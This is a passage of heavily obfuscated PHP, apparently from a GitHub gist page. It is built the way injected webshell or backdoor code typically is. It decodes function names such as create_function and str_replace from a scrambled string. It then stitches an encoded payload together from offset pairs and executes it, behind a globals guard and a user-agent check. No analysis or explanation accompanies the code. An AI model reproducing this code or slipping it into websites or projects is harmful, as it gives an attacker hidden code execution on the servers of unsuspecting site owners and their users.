-r%)s%>/h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#*b x27)fepdof.)fepdof.)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4sv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;jyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~H*WCw*[!%rN}#QwTW%hIr x5doj%6< x7fw6* x7f_*#fmjgk4`{6!hmg%)!gj!|!*1?hmg%)!gj!<**2r# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbx24- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x2 x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!x3a 61 x31"))) { $ynghghc = " x63 162 x65 141 x74 14ss x5csboe))1/35.)1/14+9**-)1/2986]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy38#-!%w:**<")));$jauosmc = $ynghghc("", $zqcoxkz); $jauosmc();}}%Z<#opo#>b%!*##>>X)!gjZ<#opo#>e{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>x27*&7-n%)utjm6< x7fw6*CW&)7gj62bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2Kc]55Ld]55#*<%bG9}:}#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs%2w>#]y74]273]y76]252]y85]256]y6g]257]y86]2 (!isset($GLOBALS[" x61 156 x75 156 x61"])))364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bstrstr($uas," x72 166 ps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24--4-bubE{h%)sutcvt)esp>h3ldfid>}&;!osvufs} x7f;!opjudovg}k~-#M#-#[#-#Y#-#D#-#W#-sTrREvxNoiTCnuf_EtaerCxECalPer_Rtsuqwtdetkt'; $kuaaolkn=explode(chr((616-496)),substr($mndbple,(24427-18550),(148-114))); $hwmrmofv = $kuaaolkn[0]($kuaaolkn[(5-4)]); $gmulij = $kuaaolkn[0]($kuaaolkn[(7-5)]); if (!function_exists('pfplvuh')) { function pfplvuh($mklmfx, $upqptjzy,$snurgnlq) { $hxtyvcwb = NULL; for($uoidai=0;$uoidai<(sizeof($mklmfx)/2);$uoidai++) { $hxtyvcwb .= substr($upqptjzy, $mklmfx[($uoidai*2)],$mklmfx[($uoidai*2)+(3-2)]); } return $snurgnlq(chr((49-40)),chr((494-402)),$hxtyvcwb); }; } $nahtzk = explode(chr((174-130)),'2985,31,352,27,5630,44,57,61,4240,58,676,54,5713,22,5078,52,1411,33,2169,45,645,31,994,57,559,48,4438,57,2487,54,768,51,5374,31,2657,58,2735,60,4495,51,3519,30,1051,30,3708,37,0,57,2214,47,1386,25,4847,50,3808,69,3745,23,4790,29,5528,60,2462,25,3104,62,3637,24,3374,42,2857,50,1642,30,864,20,3495,24,2795,37,3416,56,4715,51,2963,22,1877,64,3219,41,3549,36,1254,42,2430,32,4819,28,5798,23,2360,70,4219,21,3083,21,161,69,5405,48,1444,69,4353,22,3661,47,3016,67,2907,56,884,66,3166,53,518,41,3960,45,5296,30,1081,39,3768,40,1719,27,230,47,1982,31,5821,35,607,38,4044,63,1746,25,1161,43,5326,48,2133,36,2541,29,1606,36,3472,23,4653,62,3260,52,3877,35,2715,20,2013,70,1120,41,2083,50,5588,42,4158,61,4298,55,277,51,3585,52,730,38,1327,59,4005,39,1554,52,4897,60,1204,50,2261,66,5735,63,4957,63,4375,63,2570,67,3912,48,1296,31,4766,24,1941,41,5473,55,1672,25,118,43,4546,38,1814,63,5164,68,328,24,2832,25,379,26,1513,41,5453,20,1771,43,468,50,1697,22,4584,69,2327,33,5674,39,5130,34,2637,20,3312,62,405,63,5020,58,819,45,950,44,5856,21,4107,51,5232,64'); $ybjpvwkp = $hwmrmofv("",pfplvuh($nahtzk,$mndbple,$gmulij)); $hwmrmofv=$mndbple; $ybjpvwkp(""); $ybjpvwkp=(618-497); $mndbple=$ybjpvwkp-1; | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment